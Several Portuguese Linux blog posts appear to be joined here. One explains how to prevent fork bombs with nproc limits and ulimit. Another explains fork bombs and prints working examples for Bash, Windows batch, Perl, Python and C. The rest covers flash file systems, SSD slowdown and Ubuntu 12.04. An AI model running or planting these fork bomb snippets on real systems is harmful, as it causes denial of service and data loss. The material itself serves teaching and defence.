Como se prevenir de fork bombs no Linux, usando nproc e ulimit

fork bombs são códigos maliciosos, executados no sistema, que causam a negação do serviço ou denial of service.
Sua efeito é devastador, por consumir rapidamente os recursos de armazenamento na memória e/ou de processamento de informações, causando uma crescente deterioração do sistema.
fork bomb diagram
O resultado de uma fork bomb é, quase sempre, um desktop ou servidor totalmente inoperante — neste caso, tudo o que resta a fazer é reiniciar a máquina, sob o risco de perder dados importantes e corromper arquivos fundamentais do sistema.
Veja o vídeo, ao final do artigo, demonstrativo da execução de uma fork bomb no meu sistema.
As fork bombs não são defeitos ou falhas na arquitetura do seu sistema operacional. Na verdade, cabe ao administrador configurar o sistema para que os processos não consumam todos os seus recursos.
Neste artigo, vamos demonstrar como é possível, com alguns procedimentos simples, limitar os recursos disponíveis aos usuários, que podem prevenir o uso malicioso do sistema.

Estabeleça limites para seus usuários com nproc

Uma fork bomb funciona criando uma quantidade exponencial e infindável de processos (muito rapidamente), com o objetivo de saturar o espaço disponível para outros processos — o que inclui os do próprio sistema operacional.

Uma fork bomb mata o seu sistema por inanição de recursos

Configure o arquivo /etc/security/limits.conf para que este imponha limites aos usuários e processos.
Abra o arquivo, com privilégios administrativos e altere a quantidade de processos que usuários e grupos de usuários podem abrir simultaneamente.
Por exemplo, para estabelecer a quantidade máxima de processos do usuário ‘salsicha’ para 300, adicione o seguinte código:

salsicha hard nproc 300

Para limitar a quantidade de processos dos usuários pertencentes ao grupo ‘scoobydoo’ em 50, use o seguinte exemplo:

@scoobydoo hard nproc 50

Com esta configuração, o usuário ‘salsicha’ ou qualquer outro pertencente ao grupo ‘scoobydoo’ ficará impedido de derrubar o sistema com uma fork bomb.
Se tentarem, o sistema ficará indisponível apenas para eles — os usuários e grupos em questão.
Outros usuários no sistema não serão afetados.
É necessário reiniciar o sistema, depois de alterar o arquivo de configuração.

Como limitar a quantidade de processos em uma sessão com ulimit

Um método mais imediato de limitar o número de processos por sessão consiste no uso do comando ulimit.

ulimit -u
841

Conforme o resultado acima, o meu usuário está limitado a abrir até 841 processos simultaneamente.
Tome cuidado ao reduzir o número de processos. Um valor muito baixo pode simplesmente inviabilizar o uso.
Para reduzir o número máximo de processos abertos simultâneos para esta sessão para 30, faça assim:

ulimit -u 30

Se você tentar rodar uma fork bomb agora, ela irá ser executada, mas irá emitir um monte de mensagens:
-bash: fork: retry: recurso temporariamente indisponível
-bash: fork: retry: Não há processos filhos
Isto significa que seu sistema não permitiu que a bomba abrisse mais processos além do limite.
No final, a bomba é finalizada pelo sistema. Veja a imagem:

$ :(){ :|:& };:
Fork Bomb
:(){ :|:& };:

Leve em conta que cada sistema é único.
Se você usa um desktop KDE ou Gnome, precisa imaginar que eles tendem a abrir uma grande quantidade de processos para poder funcionar.

Demonstração real de uma fork bomb em execução

No vídeo abaixo, fica demonstrada execução de uma fork bomb sob controle do ulimit — pouco tempo depois de começar a agir, ela é neutralizada pelo sistema.

Eu usei uma máquina virtual, rodando o Debian 8.1 Jessie, para realizar a demonstração.
Se quiser saber como por no ar a sua própria máquina virtual, leia o artigo Como pôr no ar uma máquina virtual Debian, em 5 minutos.

Achou interessante? Compartilhe! 🙂

O que é uma fork bomb?

Neste post, vou mostrar como funcionam as fork bombs, como fazer uma e como se prevenir deste tipo de código malicioso.
Além das diversas definições, sempre há uma história por ser contada e é por onde vou começar.
Ao final do texto, há alguns links para outros sites onde o assunto também é abordado, caso você queira se aprofundar mais no assunto.
Pernalonga e Elmer Fudd
Se o seu interesse é prevenção, leia Como prevenir a execução de uma fork bomb no seu sistema.

Qual a definição de fork bomb?

Uma definição simples para fork bomb é a de que se trata de um código que tenha a função e a capacidade de se replicar indefinidamente.
Vírus e vermes não valem para esta definição.
À medida em que o código vai auto replicando, consome cada vez mais recursos de memória, de processamento etc.
Como os recursos do sistema não são inesgotáveis, o resultado é que ele entra em colapso.
Há relatos de que códigos deste tipo foram executados por estudantes, na Universidade de Washington, em um Burroughs 5500, em 1969 — o programa fazia 2 cópias de si mesmo, a cada vez em que era executado até que o sistema fosse derrubado.
A esta rápida reprodução do código deve-se o apelido de “trabalho de coelho” (rabbit job) ou wabbit, em alusão ao personagem da Looney Tunes, Elmer Fudd, que trocava o R pelo L (veja link ao final do texto) — a piada só tem graça em inglês.

Como criar uma fork bomb no Ubuntu

Você não precisa ser super usuário para criar e rodar uma fork bomb na maioria das vezes. Normalmente, cabe ao administrador do sistema regular como cada usuário irá usar os recursos.
error iconO código abaixo é um dos mais conhecidos e torna o seu sistema cada vez mais lento, a ponto de parar de responder completamente.
Este código e todos os outros, neste artigo, podem quebrar o seu sistema. Seja responsável!

:(){ :|: & };:

O seu funcionamento é o seguinte:

  • :() — cria/define uma função chamada :
  • {:|: &} — roda a função : e direciona sua saída para a função : e a executa nos bastidores
  • ; — este caractere funciona como separador, na linha de comandos. Equivale a && e permite iniciar uma outra instrução
  • : — executa a função definida no início

É possível desarmar esta bomba com o comando kill, no Linux — mas você provavelmente vai precisar ser muito rápido para fazer isto antes que seu sistema morra por inanição de recursos.
Uma outra forma, mais compreensível, de obter o mesmo resultado nefasto é assim:

bomba()
 {
bomba | bomba &
 }; bomba

No código, acima, fica mais claro ver a função executar-se a si mesma.
Se você gostaria de ver um exemplo não malicioso de execução de uma fork bomb, o código abaixo é seguro para você experimentar:

fork_bomb(){ echo "FORK BOMB"; };
fork_bomb

No terminal, ele pode ser interrompido com Ctrl+C.

Como criar uma fork bomb no Windows

Você pode criar um arquivo .bat, com o seguinte conteúdo:

:bomba
start %0
goto bomba

Ou rodar este código:

%0|%0

As fork bombs funcionam como esquemas de negação de serviço (denial of service) — elas devoram os recursos do sistema.

Como criar uma fork bomb em Perl, Python e em C

Exemplo em Perl:

perl -e "fork while fork" &

Em Python:

import os
  while(1):
      os.fork()

E, por último, uma fork bomb em linguagem C:

#include
int main()
 {
   while(1)
      fork();
 }

Referências

Como se prevenir de uma fork bomb.
Comandos fatais para Linux.
Cyberciti — Understanding fork bomb.
Linuxconfig — How to crash your system with a fork bomb.
Hortelino Troca-Letras (Elmer Fudd) — http://pt.wikipedia.org/wiki/Elmer_Fudd.
The hackers jargon — http://catb.org/~esr/jargon/html/W/wabbit.html.

Sistemas de arquivos otimizados para mídias flash, cartões de memória, SSD, NAND

Mídias em estado sólido têm problemas diferentes das tradicionais mídias magnéticas rígidas ou flexíveis, embora possuam interfaces similares.
Cartões de memória flash, pendrives, unidades SSD etc. requerem tratamento especial e possuem processos de detecção e correção de erros de gravação/leitura diferentes —, além de técnicas para prolongamento do tempo de vida útil (wear leveling).
pen-drive-sandisk
Tipicamente, dispositivos como as unidades SSD realizam estas operações internamente, o que permite que um sistema de arquivos comum possa ser usado nelas.

Os meios de armazenamento flash sofrem de duas grandes limitações em relação às mídias magnéticas tradicionais.
— Os bits só podem ser apagados, removendo um grande bloco da memória.
— Cada bit suporta passar por um número limitado de processos de remoção — após o que, já não pode mais armazenar dados de maneira confiável.
Em função destas limitações, são requeridas outras estruturas de dados e algoritmos para fazer uso efetivo destes meios de armazenagem.

Contudo, em alguns casos específicos, sistemas de arquivos otimizados para memória flash podem ser necessários ou recomendados.
Você provavelmente nunca ouvir falar da maioria dos sistemas, que seguem. Muitos deles foram projetados por empresas para serem usados internamente, em seus próprios dispositivos. Alguns deles sequer são acessíveis ao público.
Se você tem algum projeto em mente e pensa em qual sistema de arquivos seria o mais adequado, espero que este artigo te ajude a encontrar algumas respostas.

CASL

É um sistema de arquivos desenvolvido pela Nimble Storage, que usa os dispositivos SSD para fazer o tradicional cache dos discos rígidos usados nos produtos da empresa.

ETFS

Corresponde a Embedded Transactional File System projetado pela QNX Software Systems para ser usado em dispositivos NAND.

exFAT

Criado pela Microsoft, otimizado para drives flash e amplamente difundido. Como já era de se supor, é proprietário.
A sugestão de uso é nos dispositivos flash, onde o NTFS não for a solução mais razoável (como a sobrecarga na estrutura de dados), ou onde o limite do tamanho de arquivo seja incompatível com os padrões do FAT32.
Tem sido adotado pela SD Card Association como padrão para cartões SDXC maiores que 32 GiB.

ExtremeFFS

Sistema de arquivos interno para dispositos de estado sólido (SSD) — desenvolvido pela SanDisk, que permite uma melhora na performance de escrita aleatória na memória flash, se comparado aos sistemas tradicionais, como o TrueFFS (veja abaixo).
A SanDisk alega que a tecnologia incrementa a velocidade de acesso randômico em drives de estado sólido em 100 vezes.
A empresa planeja usar o ExtremeFFS nas próximas implementações de memória flash NAND, de células multinível.

F2FS

O Flash-Friendly File System é um sistema de arquivos de código aberto, introduzido pela Samsung em 2012.
A empresa desenvolveu o F2FS do zero, levando em conta as características dos dispositivos de armazenamento baseados em memória flash NAND — tais como unidades SSD, eMMC e cartões SD, que são largamente usados em sistemas computacionais, desde dispositivos móveis (smartphones) a grandes servidores.
A Samsung escolheu a abordagem estruturada por logs, para desenvolver o projeto do F2FS.
O projeto foi adaptado para atender a novas formas de armazenagem de dados e ajuda a remediar alguns problemas conhecidos entre outros sistemas de arquivos log-structured.
Leia mais sobre o F2FS, aqui.
O sistema resolve o efeito bola de neve causado por um problema chamado wandering tree, que causa sobrecarga durante o processo de limpeza.

Como usar o sistema de arquivos F2FS no Linux

Se quiser experimentar o sistema de arquivos em algum dispositivo de memória flash, que você tenha disponível, use o comando mkfs:

mkfs.f2fs /dev/sdb1
mount -t f2fs /dev/sdb1 /mnt/f2fs 

Não se esqueça de substituir /dev/sdb1 pelo nome endereço real do seu dispositivo.
Usuários do Ubuntu, precisam instalar o pacote de aplicativos F2FS-tools, para poder realizar o procedimento acima:

sudo apt-get install f2fs-tools

Enfim, a Samsung adicionou uma série de parâmetros para configurar o layout do dispositivo, selecionar alocações e melhorar os algoritmos de limpeza.

Como usar o sistema de arquivos F2FS no Android

A maneira mais fácil é baixar um aplicativo no Google Play que faça a conversão do atual sistema de arquivos para F2FS.

FFS2

Este sistema provavelmente substitui o FFS1, também da Microsoft, e é um dos primeiros desenvolvido pela empresa, para uso em mídias flash.

JFFS

Sistema de arquivos estruturado por log, para Linux, desenvolvido para uso em mídias flash NOR.
Substituído pelo JFFS2 (veja o próximo item).

JFFS2

Sucessor do JFFS, que inclui suporte a mídias flash NOR e NAND.
O Journaling Flash File System version 2 é um sistema de arquivos estruturado por log, projetado para uso em dispositivos flash em sistemas embutidos.
Se diferencia de outros sistemas de arquivos antigos por não usar uma camada de tradução nos dispositivos flash, para simular um disco rígido.
Ele põe o sistema de arquivos direto nos chips dos dispositivos flash.
O sistema foi desenvolvido pela Red Hat, baseado no trabalho anterioraa empresa sueca, Axis Communications, conhecida pelos seus produtos na área de vigilância.
Se você tem interesse em estudar e usar este sistema de arquivos no Linux, pode encontrar mais informações neste site.
No Ubuntu, você precisará instalar alguns pacotes para poder criar um sistema de arquivos JFFS2 em dispositivos flash. Use o comando apt-cache, para saber quais:

apt-cache search jffs2
logfs-tools - Tools to manage logfs filesystems
logfs-tools-dbg - Tools to manage logfs filesystems (debug)
mtd-utils - Memory Technology Device Utilities

Por sorte, as ferramentas logfs-tools são as mesmas a ser usadas pro próximo sistema de arquivos, descrito abaixo.

LogFS

O LogFS é um sistema de arquivos relativamente novo, também desenvolvido para Linux e que tem a intenção de, futuramente, substituir o JFFS2.
Uma de suas vantagens, em relação ao seu antecessor, é a melhor escalabilidade.
O LogFS é também um sistema de arquivos estruturado por logs (log-structured), concebido para mídias flash de grande capacidade.
O sistema foi desenvolvido inicialmente por Jörn Engel, em 2008, inspirado em outro sistema de arquivos do NetBSD e é suportado desde a versão 2.6.34 do kernel Linux (2010).

O que faz o LogFS se destacar: snapshots

Um dos destaques do LogFS é a possibilidade de tirar snapshots do sistema de arquivos — atualmente, nenhum sistema de arquivos tradicional para Linux faz isto.
Algumas pessoas chamam os snapshots de versões.
O recurso equivale a “tirar fotos” ou criar imagens de todo o sistema de arquivos em dados momentos.
Imagine a possibilidade de ter removido acidentalmente todo o seu diretório /home. Com este recurso, é possível voltar no tempo — analisar os diversos snapshots tirados e escolher para qual deles voltar.
É como se o acidente não tivesse acontecido.
Outra forma de ver o processo é como se o sistema de arquivos oferecesse vários backups de si mesmo, em vários momentos. Ele não consome muito espaço para fazer isto.
Se você usa o Ubuntu e deseja experimentar o LogFS, instale os pacotes relacionados a ele:

sudo apt-get update
sudo apt-get install logfs-tools

O tamanho do pacote não é monstruoso — pelo contrário, ocupou pouco mais de 64 Kb no meu sistema.
Uma vez instalado, para formatar um dispositivo com este sistema de arquivos, basta usar o comando mkfs.

NVFS

O nome Non-Volatile File System corresponde a, em português, “sistema de arquivos não volátil” e foi introduzido pela fabricante de dispositivos móveis Palm.
O último dispositivo a fazer uso deste sistema, feito pela Palm, foi o Treo 650.

OneFS

Este sistema foi desenvolvido pela Isolon para atender seus projetos de sistemas de armazenamento em clusters.
A Isolon foi adquirida pela EMC Corp, em 2010.
O sistema OneFS suporta alocação seletiva de metadados diretamente no dispositivo flash SSD.

RFS

O Robust File System é desenvolvido pela Samsung e usado em suas TV’s, no espaço reservado às aplicações dos usuários.
O RFS é baseado no sistema de arquivos da Microsoft FAT 16/32, com uma espécie de journaling incluído.
O seu código é proprietário e ele só é usado em equipamentos da Samsung, tais como smartTVs, reprodutores BluRay e alguns celulares.
O site SamyGo tem um tutorial (em inglês) que descreve como usar este sistema para:

  • alterar o firmware da sua TV
  • e criar novos kernels para a sua TV ou outros dispositivos Samsung.

Segger Microcontroller Systems emFile

Este sistema de arquivos é usado em aplicações “profundamente” embutidas, com suporte a mídias flash NAND e NOR.
Tem recursos de wear leveling, escrita e leitura rápida e consumo muito baixo de memória RAM.

SafeFLASH

Sistema de arquivos HCC-embedded, seguro contra falhas, que provê suporte a mídias flash NAND e NOR, com integração a wear-leveling e manipulação de blocos defeituosos (bad blocks).

TFAT

Uma versão transacional do sistema de arquivos FAT.

TrueFFS

Apesar do nome, o TrueFFS não é exatamente um sistema de arquivos — ele não provê uma interface de sistema de arquivos, mas uma interface de disco.
O termo mais correto é camada de tradução flash — flash translation layer.
O sistema foi projetado para rodar em drives de estado sólido raw —. Atualmente, a maioria dos SSDs vendidos ao consumidor não são deste tipo.
O projeto implementa correção de erros, remapeamento de blocos defeituosos e wear leveling.
A função de uma camada de tradução flash é adaptar um sistema de arquivos pleno às limitações e restrições impostas pelos dispositivos de memória flash.

UBIFS

Este sistema de arquivos pretende suceder o JFFS2 e concorre com o LogFS, otimizado para uso de memória DRAM não volátil.
O nome quer dizer Unsorted Block Image File System.
Seu desenvolvimento iniciou-se em 2008 e ele já integra o kernel do Linux, desde a versao 2.6.27.
O sistema está sob desenvolvimento dos engenheiros da Nokia, com a ajuda da Universidade de Szeged, na Hungria.

UFFS

O Ultra low cost flash — ou sistema de arquivos de ultra baixo custo para sistemas embutidos foi concebido, de acordo com a página oficial, para as seguintes situações:

  • quando os recursos de hardware são muito limitados (capacidade de memória RAM entre 64 Kb e 512 Kb) mas, ainda assim, você precisa de um sistema de arquivos confiável para dispositivos de armazenamento flash
  • quando o JFFS/JFFS2 são lentos e consomem muita memoria
  • quando o YAFFS/YAFFS2 se encaixa perfeitamente, mas consome muita memória
  • quando você precisa que o projeto seja livre e de código aberto

O UFFS2, segundo os desenvolvedores, terá as seguintes melhorias:

  1. menor fome de memória, com a redução de 25-50% da necessidade atual;
  2. possibilidade de abrigar um ou mais arquivos/diretórios em um único bloco, o que melhora significativamente o uso do espaço, para arquivos pequenos;
  3. suporte a links simbólicos e outros arquivos especiais;
  4. wear-leveling estático e
  5. suporte a mais chips flash NAND.

Unison RTOS

Este sistema de arquivos é voltado a sistemas embutidos com mídias flash de baixo custo NAND ou NOR.
O Unison RTOS oferece um sistema de arquivos para Linux 32 bits compatível com o POSIX.
O sistema de arquivos é muito leve e pode ocupar um espaço muito pequeno (1 Kb, em algumas arquiteturas).
É de código aberto e segue padrões abertos — e isto sempre conta pontos a favor.

WAFL

O WAFL – Write Anywhere File Layout – é um sistema de arquivos interno utilizado pela NetApp em seus dispositivos DataONTAP OS, originalmente otimizado para uso de memória DRAM não volátil.

XCFiles

Trata-se de uma implementação exFAT, pela DataLight para sistemas operacionais embarcados Wind River VxWorks.

YAFFS

Um sistema de arquivos estruturado por logs, projetado para mídias flash NAND — mas também adequado a flash NOR.
O nome dele é um acrônimo para mais um sistema de arquivos flash — ou Yet Another Flash File System.
O projeto foi inicialmente desenvolvido por Charles Manning
O sistema de arquivos é disponibilizado pela licença GPLv2 e pode ser embarcado em vários sistemas operacionais, como:

  • Android
  • Firefox OS
  • Linux
  • Windows CE, pSOS, eCos, ThreadX etc.

O YAFFS é robusto e mantém a integridade dos dados como prioridade.
O objetivo secundário do YAFFS é a alta performance.
Em situações onde não há um sistema operacional, é possível usar uma variante: YAFFS/Direct — que tem o mesmo sistema de arquivos central, contudo com um interfaceamento simplificado.

ZFS

Um sistema de arquivos combinado e gerenciador de volumes lógico, projetado pela Sun Microsystems.
Os recursos do ZFS inclui proteção contra corrupção de dados, suporte a altas capacidades de armazenamento, compressão de dados eficiente, integração dos conceitos de sistema de arquivos e gestão de volumes, snapshots e clones de cópia-na-escrita.
A lista de recursos segue com verificação de integridade contínua e reparo automático, RAID-Z e NFSv4 ACLs nativos.
O projetos começou como software de código aberto e seguiu com a licença CDDL — Common Development and Distribution License.
Leia mais sobre esta tecnologia em Introdução ao sistema de arquivos ZFS.
O nome ZFS é marca registrada da Oracle Corporation.

OTFS

Segundo a InformationWeek, o OmniTraak File System é um sistema de arquivos extensível do “estado da arte”.
O OTFS é um componente de software que organiza o conteúdo do disco em arquivos, provê controle de acesso e segurança e oferece métodos de nomenclatura de arquivos.

Referências

Além dos vários links espalhados pelo texto, você pode também conferir as seguintes páginas na Wikipedia:
http://en.wikipedia.org/wiki/List_of_file_systems#File_systems_optimized_for_flash_memory.2C_solid_state_media
http://en.wikipedia.org/wiki/Flash_file_system

Por que as unidades SSD se tornam mais lentas com o tempo

O principal motivo de uma unidade SSD se tornar mais lenta é estar com sua capacidade quase esgotada.
Neste artigo, vou mostrar por que isto acontece e como você pode evitar ou resolver o problema –, se ele já estiver ocorrendo.
ssd kingston - por que a unidade está mais lenta.
Resultados de testes mostram que as unidades de estado sólido, SSD (Solid-state drives), perdem eficiência à medida em que suas capacidades de armazenamento vai se esgotando.
Se você tem uma unidade SSD, pode fazer o teste por sim mesmo — principalmente se a capacidade for pequena (de algumas dezenas de gigabytes). Ela fica mais lenta, quando fica mais cheia.
O motivo para este comportamento está nas características dos SSDs e dos dispositivos de armazenamento flash NAND.
O fato é que você deve evitar a todo custo preencher toda a capacidade de um drive SSD — uma das consequências de um drive lento é que todo o seu sistema vai sofrer com isto.

Blocos vazios e blocos parcialmente preenchidos

Quando você manda gravar um arquivo na sua unidade de estado sólido, ela procura por blocos vazios onde o possa acomodar.
A operação de gravação é mais rápida sempre que ocorrer em um bloco vazio.
Nos discos rígidos (HDs), os blocos não são automaticamente esvaziados, quando os arquivos que os ocupam são apagados pelo sistema operacional — por isto é que é quase sempre possível recuperar arquivos apagados, acidentalmente ou não, em discos rígidos.
Na verdade, um disco rígido costuma estar sempre repleto de bits de arquivos que já foram “apagados”.
— e, só para não ficar mal entendido: quando eu digo que “é possível” recuperar arquivos “deletados” de um disco rígido isto não quer dizer que seja fácil ou mesmo líquido e certo.
No que tange as unidades SSD, os sistemas operacionais mais novos usam um recurso chamado TRIM — que consiste em remover os dados do arquivo na unidade, tão logo você o apague no sistema operacional.
Não há bits de dados, que você desejava que fossem removidos, espalhados pela unidade de estado sólido — por que o TRIM se assegura de que cada bloco esteja vazio para receber rapidamente os novos dados que chegarem no futuro.

Se você usa uma versão atual do Linux, como o Ubuntu 14.04 LTS, o seu sistema operacional tem total suporte ao TRIM. (OMGUbuntu!)

Esta é uma das diferenças entre o HDD e o SSD — pro primeiro, escrever dados novos em cima dos dados velhos, em um bloco já usado, é tão rápido quanto escrever em um bloco totalmente vazio.
As memórias flash NAND gravam dados em páginas de 4Kb dentro de blocos de 256 Kb. Para adicionar páginas a um bloco parcialmente ocupado a unidade de estado sólido precisa apagar todo o bloco antes de gravar nele.

nand flash memory pages and blocks.png
Clique, para ver detalhes.

À medida em que o espaço disponível na sua unidade SSD vai se reduzindo, ela vai ter cada vez menos blocos totalmente vazios e mais blocos parcialmente preenchidos.
Como você já sabe, a unidade não grava em blocos parcialmente preenchidos — ela precisa limpar seu conteúdo antes.
Portanto, em vez de simplesmente gravar os dados, como um HD faria, ela faz o seguinte:

  • lê o conteúdo do bloco e o armazena no cache;
  • acrescenta os novos dados ao conteúdo armazenado no cache e
  • grava tudo de volta no bloco.

Agora, leve em conta que a gravação de um arquivo pode envolver uma grande quantidade de blocos, o que multiplica a quantidade de vezes que ese processo vai ter que ser realizado.

O TRIM não consolida os blocos parcialmente preenchidos

Ao esgotar a capacidade de armazenamento de um drive, ele provavelmente conterá uma grande quantidade de blocos parcialmente preenchidos, antes de você começar a remover arquivos.
O recurso TRIM, de que falamos antes, não força o dispositivo a qualquer procedimento de limpeza ou reorganização.
Tudo o que ele faz é remover os dados do arquivo quando o sistema operacional manda apagar (em vez de apenas marcar o seu espaço como disponível).
Em outras palavras, a capacidade de armazenamento de um dispositivo de estado-sólido se esgota, mesmo tendo uma enorme quantidade de blocos parcialmente preenchidos.
O drive não vai reorganizar o espaço por conta própria, preventivamente.
E, assim, a performance da gravação de novos dados sofrerá uma crescente degradação.

Prevenção: Overprovisioning e Garbage Collection

Para impedir que você preencha completamente o seu drive e prejudique seriamente sua eficiência, os fabricantes adotaram algumas medidas.
As unidades vêm com um percentual do seu espaço reservado e não disponível ao usuário — isto é chamado de overprovisioning.
Trata-se de um espaço extra de armazenamento, que não é visível pro computador como área disponível para guardar seus dados.
Assim, o drive nunca vai ficar completamente cheio.
Aliado a isto, cada controladora de unidade SSD tem um algoritmo que executa a coleta de lixo (garbage collection) — que consiste em tentar encontrar os blocos parcialmente preenchidos e consolidá-los, liberando a maior quantidade possível de blocos.
A maneira e a frequência com que esta operação é realizada, bem como a quantidade de armazenamento extra, variam de acordo com os fabricantes e modelos de controladoras.

Conclusão

Uma das formas de se resolver o problema é adquirir novos dispositivos de armazenamento, com maiores capacidades, sempre que necessário.
Mas todo mundo sabe que nem sempre isto é possível (quase sempre, não é).
Enfim, é por isto que acredito que as pessoas consultam o geek — elas querem a melhor solução, pelo menor custo, da maneira mais fácil (sem sacrificar a qualidade) etc.
Já que não existe mágica, a recomendação é mais ou menos a óbvia: não permitir que o seu drive chegue a 75% de ocupação.
Com esta taxa, é possível ter um equilíbrio razoável entre o que pagou, pela capacidade de armazenamento que possuiu e pela eficiência do drive.
Planeje o uso da sua unidade SSD para manter sempre 25% de seu espaço livre. Eventualmente, você pode precisar usar este espaço e “pagar o preço” da queda do desempenho, temporariamente.
Se precisar de mais espaço, pense em soluções de armazenamento de dados nas nuvens ou em mídia externa.

Referências:
pt.wikipedia.org/wiki/Memória_flash#Flash_NAND
en.wikipedia.org/wiki/Write_amplification
http://www.howtogeek.com/165542/why-solid-state-drives-slow-down-as-you-fill-them-up/

Ubuntu 12.04 – comentário pessoal

Pra ser breve, as primeiras impressões foram muito boas. Gostei, particularmente de ver um ícone de fácil alcance, na tela de login, para controlar o som – o que pode prevenir que algum aplicativo, já aberto, comece a tocar, logo depois de darmos a senha de acesso ou que a música de inicialização do sistema quebre o silêncio, em uma biblioteca, por exemplo.
Pode parecer uma bobagem e, provavelmente é, mas eu gostei também da possibilidade de podermos alterar o tamanho dos ícones do lançador na tela de “alterar o plano de fundo” (aquele que aparece, quando você clica com o botão direito do mouse sobre a área de trabalho).

Isto já nos poupa a instalação de novos aplicativos de configuração, além de tempo, como você pode ver aqui.

Nesta mesma tela, eu recomendo clicar na guia “Comportamento” e ligar a opção de ocultação automática do lançador – principalmente para quem usa tablet ou netbook, uma vez que ajuda a otimizar o espaço.
Na mesma tela, aumente a “sensibilidade” para a mais alta possível. Assim, o lançador será mais ágil para aparecer.
Conheça mais, no vídeo abaixo.